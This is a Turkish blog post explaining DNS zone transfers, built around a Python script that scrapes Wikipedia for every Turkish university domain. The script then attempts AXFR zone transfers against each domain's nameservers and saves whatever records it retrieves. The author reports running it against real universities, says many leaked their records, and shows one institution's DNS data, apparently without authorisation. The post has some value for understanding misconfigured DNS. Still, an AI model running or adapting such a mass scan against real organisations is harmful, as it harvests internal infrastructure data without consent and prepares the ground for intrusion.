Python ile Türkiye’de ki Üniversitelere Dns Zone Transfer Zafiyeti Kontrolü

By | 13 May 2016

DNS, yapısında metin tabanlı bilgileri, ip adresleriyle eşleştirerek çalışan bir teknoloji. Sorgulama işlemleri yapılırken çeşitli zone type ve özellikleri kendisinde barındırır. Örneğin;

-Primary Zone : İlk domain kayıtları burada oluşur ve tüm kayıtlar buradan çekilir.

-Secondary Zone : Primary Zone kurulduktan sonra bunun bir yedeğini almak istenirse başka bir server üerine bu zone tipi kurulur.Eğer Primary çökerse buradan sorgulama işlemleri devam eder. Primary Zone kayıtlarında bir değişiklik olduğunda ya da Secondary Zone’dan istenilen zaman aralıklarında Primary’de olan yeni/güncel/değişmiş kayıtlar alınır. İşte bu yapıya Zone Transfer deniyor. Bu Zone Transfer isteklerinin dışarıya kapalı olması gerekiyor. Eğer açık şekilde bırakılmışsa dışardan biri sizin Dns kayıtlarınıza erişebilir. Bu da her zaman istenmeyen bir durumdur.

Senaryom şu;

Python ile önce Türkiye’de ki üniversite listesini barındıran bir url üzerinden, tüm üniversite domain bilgisini çekeceğiz. Bu listeden tek tek gidip, Zone Transfer gerçekleştirebiliyor muyuz, dışarıya bilgi veriyorlar mı, buna bakacağız. Eğer transfer gerçekleşirse bu Dns kayıtlarını o üniversite adında bir dosyaya kaydedeceğiz.”

#-*- coding:utf8 -*-
#bazı sürümlerde bs4 yerine BeautifulSoup yazmak gerekebiliyor.
#alttaki kütüphaneleri import ediyoruz, eğer yüklü değilse pip/easy_install ile kurabilirsiniz.from bs4 import BeautifulSoup
import urllib2
import re
import dns.resolver
import dns.query
import dns.zone
import dns.exception
import socket

#üniversitelerin listesi bulunan url
html = urllib2.urlopen("https://tr.wikipedia.org/wiki/T%C3%BCrkiye%27deki_%C3%BCniversiteler_listesi")

#açılan sayfada edu.tr uzantılı linkleri alması için bir kriter tanımlıyorum.
soup = BeautifulSoup(html)
ends = ['edu.tr/', 'edu.tr']
links = []
for link in soup.findAll('a', attrs={'href': re.compile("edu.tr")}): #a etiketi olan html taglarını bul ve href içinde edu.tr kelimesi geçenlerin içinde dön
 if link.get('href').endswith(tuple(ends)):    #eğer yukarda verdiğim kritere uyuyorsa devam et
   validLink = link.get('href')
   validLink = validLink.replace("http://www.", "").replace("http://", "").replace("/", "")    #başında ve sonunda istenmeyen karakterleri siliyorum.
   links.append(validLink)    #en sonunda geçerli domainleri links'e append ediyorum.

def getNameServer(domain):    #verilen domainin varsa name server listesini döndürüyor.
 try:
   nameServers = dns.resolver.query(domain, 'NS')
   return nameServers
 except dns.resolver.NoNameservers:
   print "Domain: {} için name server kaydı bulunamadı.".format(domain)
 except dns.resolver.NXDOMAIN:
   print "Domain geçerli değil: {}".format(domain)
 except dns.exception.Timeout:
   print "Zaman aşımı!"
 except dns.resolver.NoAnswer:
   print "Name server cevap vermiyor."
 return False

for link in links:
 print "{} için deniyor, sonuç için bekleyin...".format(link)
 result = getNameServer(link)
 if result:    #eğer result varsa devam et yani name server varsa, yoksa diğer domaine geç
   for ns in getNameServer(link):    #bir domain için birden fazla nameserver olabilir, bunlar içinde dön
     try:
       xfer = dns.zone.from_xfr(dns.query.xfr(str(ns), link))    #zone transfer isteği oluşturup, istek yapıyor.
       names = xfer.nodes.keys()
       names = list(set(names))    #duplicate value varsa onları silip, sonra list formatına çeviriyor
       names.sort()    #dönen değerleri harf sırasında göre sıralıyor.
       with open(link, 'w') as f:    #domain adında bir dosyaya transfer olan bilgileri yazdırıyor.
         for name in names:
           f.write(xfer[name].to_text(name))
       print "{} için Zone Transfer gerçekleşti. {}.txt adında dosyaya yazıldı".format(ns, link)
       continue
     except dns.zone.NoNS:
       print "Name server bulunamadı."
     except dns.resolver.NXDOMAIN:
       print "Domain hatalı, farklı bir domain deneyin."
     except dns.exception.FormError:
       print "{} ve {} için Zone Transfer gerçekleşemedi.".format(link, ns)
     except EOFError:
       print "EOF Hatası!"
     except KeyboardInterrupt:
       print "Kullanıcı isteği durdurdu."
     except KeyError as e:
       print "Beklenmeyen bir hata -> {}".format(e)
     except socket.error:
       print "Bağlantı gerçekleşemedi."
     continue
 else:
   continue

 

Kodları yorum satırlarıyla birlikte anlattım, ordan takip edebilirsiniz. Script çalıştırmaya başladıktan kısa bir süre sonra alttaki gibi bir çıktıyla karşılaşıyoruz.

Screen Shot 2016-05-13 at 5.51.46 PM

Aşağıda scripti yarıda kestiğim halde Zone Transfer yapmamızı sağlayan birçok üniversite görebilirsiniz. Script Devam etse daha da çoğalacaktı bu sayı. Ayrıca içlerinden birinin Dns kaydını da görebilirsiniz.

Screen Shot 2016-05-13 at 6.07.53 PM Screen Shot 2016-05-13 at 6.13.27 PM

Anlatacaklarım şimdilik bu kadar, bir dahaki yazımda görüşmek üzere… 🙂

Leave a Reply

Your email address will not be published. Required fields are marked *

*